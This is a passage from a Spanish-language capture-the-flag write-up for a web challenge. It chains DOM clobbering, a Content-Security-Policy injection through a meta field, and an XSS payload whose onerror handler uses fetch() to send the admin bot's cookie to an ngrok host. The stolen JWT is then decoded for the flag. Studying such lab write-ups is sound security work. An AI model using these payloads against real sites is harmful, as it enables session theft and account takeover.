if (product.data('category') == potionTypes[i].id) {
product.prepend(`<p class='reset-pos rpgui-container framed-golden-2'>Potion Type: ${potionTypes[i].name}</p>`);
product.prepend(`<img src='${potionTypes[i].src}' class='category-img'>`);
}
}
}
Después de leer sobre DOM Clobbering, está bastante claro que necesitamos controlar window.potionTypes
. Sin embargo, debemos decirle al navegador que no cargue static/js/global.js
…
Aquí viene el hecho de que podemos actualizar el CSP, por lo que podamos poner algo como:
script-src 'unsafe-inline' http://127.0.0.1/static/js/product.js http://127.0.0.1/static/js/jquery.min.js
De esa manera, solo se permitirá static/js/product.js
y jQuery (static/js/global.js
se bloqueará). Vamos a intentarlo:
r = s.post(f'http://{host}/api/products/add', json={
'product_name': 'asdf',
'product_desc': '''<img src="x" onerror="alert(123)">''',
'product_price': '123',
'product_category': '1',
'product_keywords': 'asdf',
'product_og_title': 'fdsa',
'product_og_desc': '''script-src 'unsafe-inline' http://127.0.0.1/static/js/product.js http://127.0.0.1/static/js/jquery.min.js" http-equiv="Content-Security-Policy''',
})
$ python3 solve.py 127.0.0.1:1337
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
{"message":"Potion added and being reviewed by admin!"}
Esto no funciona como se esperaba porque estamos accediendo desde 127.0.0.1:1337
y no desde 127.0.0.1
(puerto 80). Podemos cambiarlo para ver que debería funcionar:
Ahí lo tenemos: static/js/global.js
está bloqueado y potionTypes
está indefinido.
Echemos otro vistazo a static/js/product.js
:
$(document).ready(function(){
loadPotionImage();
})
const loadPotionImage = () => {
let product = $('.potion-item');
for (i = 0; i < potionTypes.length; i++) {
if (product.data('category') == potionTypes[i].id) {
product.prepend(`<p class='reset-pos rpgui-container framed-golden-2'>Potion Type: ${potionTypes[i].name}</p>`);
product.prepend(`<img src='${potionTypes[i].src}' class='category-img'>`);
}
}
}
Está seleccionando elementos HTML que tienen la clase potion-item
y poniendo contenido de HTML delante si data-category
es igual a potionTypes[i].id
.
Vayamos paso a paso. Este es un ataque básico de DOM Clobbering:
Sin embargo, potionTypes.length
está indefinido. Podemos superar esto agregando más elementos HTML con id="potionTypes"
:
Vemos que potionTypes[i].id = 'potionTypes'
, y product.data('category')
será un número entero porque Joi
lo comprueba:
<div class="potion-item" data-category="{{ product.product_category }}">
No podemos simplemente agregar otro elemento HTML que contenga el atributo data-category
porque el anterior se carga primero, por lo que jQuery solo usará ese.
El objetivo es controlar la propiedad id
de cualquier elemento de potionTypes[i]
. JavaScript a veces es extraño, y esto se puede hacer con este payload:
Dado que estamos obligados a usar name="potionTypes"
en la etiqueta img
para controlar el objeto window
y controlar el atributo id
(véase este artículo), la única forma en que podemos inyectar HTML es en el atributo src
. Podemos probar algo como esto, usando esquema cid:
:
r = s.post(f'http://{host}/api/products/add', json={
'product_name': 'asdf',
'product_desc': '''<a id="potionTypes"></a><img id="1" name="potionTypes" src="cid:x\\' onerror='alert(123)'">''',
'product_price': '123',
'product_category': '1',
'product_keywords': 'asdf',
'product_og_title': 'fdsa',
'product_og_desc': '''script-src 'unsafe-inline' http://127.0.0.1:1337/static/js/product.js http://127.0.0.1:1337/static/js/jquery.min.js" http-equiv="Content-Security-Policy''',
})
$ python3 solve.py 127.0.0.1:1337 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
{"message":"Potion added and being reviewed by admin!"}
Así es como el DOM fue modificado:
Increíble… Ahora podemos ingresar un código JavaScript para robar la cookie del bot. Podemos usar ngrok
para exponer públicamente nuestro servidor HTTP local:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
$ ngrok http 80
ngrok
Join us in the ngrok community @ https://ngrok.com/slack
Session Status online
Account Rocky (Plan: Free)
Version 3.1.0
Region United States (us)
Latency -
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:80
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Este es el payload final que hará que el bot nos envíe su cookie:
r = s.post(f'http://{host}/api/products/add', json={
'product_name': 'asdf',
'product_desc': '''<a id="potionTypes"></a><img id="1" name="potionTypes" src="cid:x\\' onerror='fetch(`http://abcd-12-34-56-78.ngrok.io/`+document.cookie,{mode:`no-cors`})'">''',
'product_price': '123',
'product_category': '1',
'product_keywords': 'asdf',
'product_og_title': 'fdsa',
'product_og_desc': '''script-src 'unsafe-inline' http://127.0.0.1/static/js/product.js http://127.0.0.1/static/js/jquery.min.js" http-equiv="Content-Security-Policy''',
})
$ python3 solve.py 127.0.0.1:1337 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM0MTcxNH0.8rAyX5qbFYtOU4Fms6pvm7LBIlkkP3rlzUcvZq1G-nM
{"message":"Potion added and being reviewed by admin!"}
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [] code 404, message File not found
::1 - - [] "GET /session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7ZjRrM19mbDRnX2Ywcl90M3N0MW5nfVxuIiwiaWF0IjoxNjcwMzUwODg1fQ.3Sk9_oyQCe6-F-kxhWF6ASiHQTtP8dprZ111r7_veLs HTTP/1.1" 404 -
^C
Keyboard interrupt received, exiting.
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7ZjRrM19mbDRnX2Ywcl90M3N0MW5nfVxuIiwiaWF0IjoxNjcwMzUwODg1fQ | base64 -d
{"username":"admin","verified":true,"flag":"HTB{
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7ZjRrM19mbDRnX2Ywcl90M3N0MW5nfVxuIiwiaWF0IjoxNjcwMzUwODg1fQ= | base64 -d
{"username":"admin","verified":true,"flag":"HTB{
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7ZjRrM19mbDRnX2Ywcl90M3N0MW5nfVxuIiwiaWF0IjoxNjcwMzUwODg1fQ== | base64 -d
{"username":"admin","verified":true,"flag":"HTB{f4k3_fl4g_f0r_t3st1ng}\n","iat":1670350885}
Flag
Ahora hagámoslo en la instancia remota:
$ python3 solve.py 178.62.84.158:32007
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InZlbmRvcjUzIiwidmVyaWZpZWQiOnRydWUsImlhdCI6MTY3MDM1MTAyOX0.egUuxRyzdtB9zmB05UHbhT69N5fwd3p_p6gleCglEtw
{"message":"Potion added and being reviewed by admin!"}
Y allí recibimos el token JWT y tenemos la flag:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [] code 404, message File not found
::1 - - [] "GET /session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7YjR0Y2hfbXlfcDA3MTBuNV93MTdoX3MwbTNfbTN0NF9tNGcxY30iLCJpYXQiOjE2NzAzNTEwMzB9.gYf1eyRWnidNYCDK4e9UbaMc3JbBuFBFWhwUZYeCu9A HTTP/1.1" 404 -
^C
Keyboard interrupt received, exiting.
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidmVyaWZpZWQiOnRydWUsImZsYWciOiJIVEJ7YjR0Y2hfbXlfcDA3MTBuNV93MTdoX3MwbTNfbTN0NF9tNGcxY30iLCJpYXQiOjE2NzAzNTEwMzB9 | base64 -d
{"username":"admin","verified":true,"flag":"HTB{b4tch_my_p0710n5_w17h_s0m3_m3t4_m4g1c}","iat":1670351030}
El script completo se puede encontrar aquí: solve.py
.